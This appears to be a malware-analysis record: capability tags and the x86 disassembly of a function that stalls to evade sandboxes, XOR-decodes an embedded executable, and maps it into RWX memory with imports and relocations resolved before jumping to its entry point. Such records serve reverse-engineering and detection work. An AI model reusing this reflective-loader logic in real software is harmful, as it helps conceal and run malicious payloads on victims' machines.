Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x168b70
call fcn.00405a30
call fcn.004052e0
mov edi, eax
mov ebx, edx
mov dword [esp + 0x10], ecx
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004052e0
mov dword [esp + 4], eax
mov dword [esp + 0xc], ecx
mov esi, edx
movq xmm0, qword [0x6da0c8]
movd ecx, xmm0
pshufd xmm0, xmm0, 0x55
movd edx, xmm0
mov eax, ecx
or eax, edx
jne 0x4010a0
lea eax, [esp + 0x40]
mov dword [esp + 0x18], edi
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x401751
movq xmm0, qword [esp + 0x40]
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x44]
movq qword [0x6da0c8], xmm0
mov eax, ecx
mov edi, dword [esp + 0x18]
or eax, edx
je 0x401757
mov dword [esp + 0x14], ebx
mov dword [esp + 8], esi
push edx
push ecx
push 0
push 0x3b9aca00
mov esi, edi
mov ebx, ecx
mov edi, edx
call fcn.00405a60
mov edx, 1
xor ecx, ecx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], ebx
cmp edx, ebx
lea edx, [eax - 0x3b9aca00]
mov ebx, esi
sbb ecx, edi
mov ecx, 0x44b83
mov edi, dword [esp + 0x14]
cmovb edx, eax
mov eax, edx
mov dword [esp + 0x30], edx
shr eax, 9
mul ecx
mov ecx, dword [esp + 4]
mov eax, edi
mov dword [esp + 0x2c], edx
cmp esi, ecx
mov esi, dword [esp + 8]
sbb eax, esi
jb 0x40111c
mov eax, ecx
mov ecx, esi
xor eax, ebx
xor ecx, edi
or ecx, eax
mov ecx, dword [esp + 4]
jne 0x401159
mov eax, dword [esp + 0x10]
cmp eax, dword [esp + 0xc]
ja 0x401159
sub ecx, ebx
mov eax, 0x3b9aca00
sbb esi, edi
jae 0x40112c
jmp 0x40126e
mov ebx, esi
mov edx, dword [esp + 0xc]
mov esi, dword [esp + 0x10]
cmp edx, esi
jae 0x401230
mov edi, ecx
or ecx, ebx
je 0x401127
add edi, 0xffffffff
adc ebx, 0xffffffff
mov dword [esp + 4], edi
add edx, 0x3b9aca00
jmp 0x401234
mov dword [esp + 0x18], ebx
sub ebx, ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
sbb edi, esi
cmp edx, ecx
jae 0x401183
mov eax, ebx
or eax, edi
je 0x401757
add ebx, 0xffffffff
lea edx, [edx + 0x3b9aca00]
adc edi, 0xffffffff
sub edx, ecx
mov ecx, 0x44b83
mov eax, edx
mov dword [esp + 0x24], edx
shr eax, 9
mov dword [esp + 0x28], eax
mul ecx
mov ecx, edx
shr ecx, 7
add ecx, ebx
adc edi, 0
jb 0x401757
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x1c]
cmp edx, 2
mov eax, esi
sbb eax, 0
mov eax, ecx
sbb eax, 0
mov eax, edi
sbb eax, 0
jb 0x401228
cmp edx, 2
mov edx, 0x44b83
mov ebx, dword [esp + 0x18]
sbb esi, 0
setb al
movzx esi, al
mov eax, dword [esp + 0x28]
xor ecx, esi
mov esi, dword [esp + 8]
mul edx
or ecx, edi
mov ecx, dword [esp + 4]
mov edi, dword [esp + 0x14]
jne 0x40111c
mov eax, dword [esp + 0x2c]
mov esi, edi
mov edi, dword [esp + 0x30]
shr edx, 7
shr eax, 7
imul eax, eax, 0x3b9aca00
sub edi, eax
imul eax, edx, 0x3b9aca00
mov edx, dword [esp + 0x24]
sub edx, eax
cmp edx, edi
mov edi, esi
mov esi, dword [esp + 8]
ja 0x40111c
xor ecx, ecx
xor ebx, ebx
xor eax, eax
jmp 0x40126e
mov dword [esp + 4], ecx
sub edx, esi
mov ecx, 0x44b83
mov edi, edx
mov esi, edx
shr edi, 9
mov eax, edi
mul ecx
mov ecx, edx
shr ecx, 7
add ecx, dword [esp + 4]
adc ebx, 0
jb 0x401757
mov eax, edi
mov edx, 0x44b83
mul edx
shr edx, 7
imul eax, edx, 0x3b9aca00
sub esi, eax
mov eax, esi
cmp eax, 0x3b9aca00
je 0x40174a
cmp ecx, 0xe
sbb ebx, 0
jb 0x40174a
lea eax, [0x569429]
lea edi, [esp + 0x40]
mov dword [esp + 0x40], eax
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x40], 0x6d0c6e16
mov edx, dword [esp + 0x40]
call fcn.004057b0
mov esi, eax
push 0x168b28
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, 0xfffffffc
nop
mov ecx, dword [eax + 0x407234]
xor ecx, dword [esi + eax + 4]
mov dword [esp + eax + 0x44], ecx
add eax, 4
cmp eax, 0x168b24
jb 0x4012c0
mov eax, dword [0x6da108]
test eax, eax
jne 0x4012f4
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x401739
mov dword [0x6da108], eax
push 0x168b28
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x401739
mov esi, eax
push 0x168b28
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [0x6da108]
test eax, eax
jne 0x401337
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x401739
mov dword [0x6da108], eax
push 0x168b28
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x401739
mov edi, eax
push 0x168b28
push esi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [edi + 0x3c]
lea ecx, [eax - 0x168b0f]
cmp ecx, 0xffe974d6
jbe 0x401757
lea ecx, [eax + 0x18]
cmp ecx, 0x168b28
jae 0x401757
movzx ecx, word [edi + eax + 0x18]
cmp ecx, 0x10b
je 0x40139b
cmp ecx, 0x20b
jne 0x401757
lea ecx, [eax + 0x54]
cmp ecx, 0x168b27
ja 0x401757
lea ecx, [eax + 0x55]
cmp ecx, 0x168b28
jae 0x401757
mov dword [esp + 0x10], edi
lea edi, [eax + 0x56]
cmp edi, 0x168b28
jae 0x401757
lea ebx, [eax + 0x57]
cmp ebx, 0x168b28
jae 0x401757
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x1c], esi
mov ecx, dword [ecx + 0x3c]
lea edx, [ecx + 0x18]
lea esi, [ecx + 0x1a]
cmp esi, edx
jb 0x401757
cmp esi, 0x168b28
mov dword [esp + 4], ebx
ja 0x401757
mov ebx, dword [esp + 0x10]
movzx esi, byte [ebx + eax + 0x54]
movzx edx, word [ebx + edx]
movzx edi, byte [ebx + edi]
mov dword [esp + 8], esi
movzx esi, byte [ebx + eax + 0x55]
mov eax, dword [esp + 4]
cmp edx, 0x10b
movzx eax, byte [ebx + eax]
je 0x40143a
cmp edx, 0x20b
jne 0x401757
lea edx, [ecx + 0x54]
add ecx, 0x50
cmp edx, ecx
jb 0x401757
cmp edx, 0x168b28
ja 0x401757
shl esi, 8
shl edi, 0x10
shl eax, 0x18
add esi, dword [esp + 8]
or esi, edi
or esi, eax
push 0x40
push 0x1000
mov edi, dword [esp + 0x18]
push dword [edi + ecx]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov esi, eax
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [edi + 0x3c]
mov ecx, edi
xor edx, edx
add ecx, eax
cmp dword [eax + edi], 0x4550
cmove edx, ecx
mov dword [esp + 0xc], edx
mov eax, dword [0x6da108]
test eax, eax
jne 0x4014bb
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x401739
mov dword [0x6da108], eax
push 0x168b28
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x401739
push 0x168b28
push edi
push eax
mov dword [esp + 0x14], eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0xc]
mov dword [esp + 4], esi
movzx edi, word [eax + 6]
test di, di
je 0x401546
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 4]
mov esi, str.NtCreateKeyedEvent
mov eax, dword [eax + 0x3c]
lea ebx, [ecx + eax + 0x10c]
nop dword [eax]
mov eax, dword [ebx - 4]
mov ecx, dword [ebx]
lea edx, [eax + ecx]
cmp edx, 0x168b29
mov edx, dword [esp + 8]
lea edx, [edx + ecx]
cmovae edx, esi
add ecx, eax
mov ecx, dword [ebx - 8]
cmovb edx, esi
add ecx, dword [esp + 4]
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, 0x28
dec di
jne 0x401510
push dword [esp + 8]
push 0
push dword [0x6da108]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc]
cmp dword [eax + 0x84], 0
je 0x401669
mov eax, dword [esp + 0xc]
mov edi, dword [eax + 0x80]
mov eax, dword [esp + 4]
cmp dword [edi + eax + 0xc], 0
je 0x401669
mov eax, dword [esp + 4]
add edi, eax
lea ecx, [eax + 2]
add eax, 4
mov dword [esp + 8], ecx
mov dword [esp + 0x20], eax
jmp 0x4015aa
cmp dword [edi + 0xc], 0
je 0x401669
mov esi, dword [edi + 0x10]
test esi, esi
je 0x401669
mov edx, dword [edi + 0xc]
mov ebx, dword [edi]
lea ecx, [esp + 0x34]
mov dword [esp + 0x14], edi
add edx, dword [esp + 4]
call fcn.00403200
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, dword [esp + 4]
mov edx, dword [ebx + eax]
test edx, edx
je 0x401640
add esi, dword [esp + 4]
add ebx, dword [esp + 0x20]
jmp 0x4015fc
mov edx, dword [ebx]
add esi, 4
add ebx, 4
test edx, edx
je 0x401640
add edx, dword [esp + 8]
lea ecx, [esp + 0x40]
call fcn.00403200
cmp dword [esp + 0x48], 0
je 0x40161d
push dword [esp + 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
cmp dword [esp + 0x40], 0
je 0x4015f0
push dword [esp + 0x44]
push 0
push dword [0x6da108]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4015f0
mov edi, dword [esp + 0x14]
add edi, 0x14
cmp dword [esp + 0x34], 0
je 0x4015a0
push dword [esp + 0x38]
push 0
push dword [0x6da108]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4015a0
mov eax, dword [esp + 0xc]
cmp dword [eax + 0xa4], 0
je 0x401702
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 4]
mov eax, dword [eax + 0xa0]
mov edi, dword [eax + ecx + 4]
test edi, edi
je 0x401702
mov edx, dword [esp + 4]
mov esi, dword [esp + 0xc]
mov ecx, edx
lea ebx, [eax + edx + 4]
add eax, edx
sub ecx, dword [esi + 0x34]
jmp 0x4016c7
mov edx, dword [esp + 8]
mov edi, dword [edx]
lea esi, [eax + edi]
lea ebx, [eax + edi + 4]
mov edi, dword [eax + edi + 4]
mov eax, esi
test edi, edi
je 0x401702
lea esi, [edi - 8]
cmp esi, 2
jb 0x4016b6
shr esi, 1
lea edi, [eax + 8]
mov dword [esp + 8], ebx
jmp 0x4016e6
add edi, 2
dec esi
je 0x4016b0
movzx ebx, word [edi]
cmp ebx, 0xfff
jbe 0x4016e0
and ebx, 0xfff
mov edx, dword [eax]
add ebx, dword [esp + 4]
add dword [edx + ebx], ecx
jmp 0x4016e0
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x28]
add ecx, dword [esp + 4]
call ecx
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x10]
push 0
push dword [0x6da108]
call esi
push dword [esp + 0x1c]
push 0
push dword [0x6da108]
call esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, 0x168b28
mov edx, 1
call fcn.00406610
ud2
call fcn.00403560
ud2
call dword [sym.imp.KERNEL32.dll_GetLastError]
ud2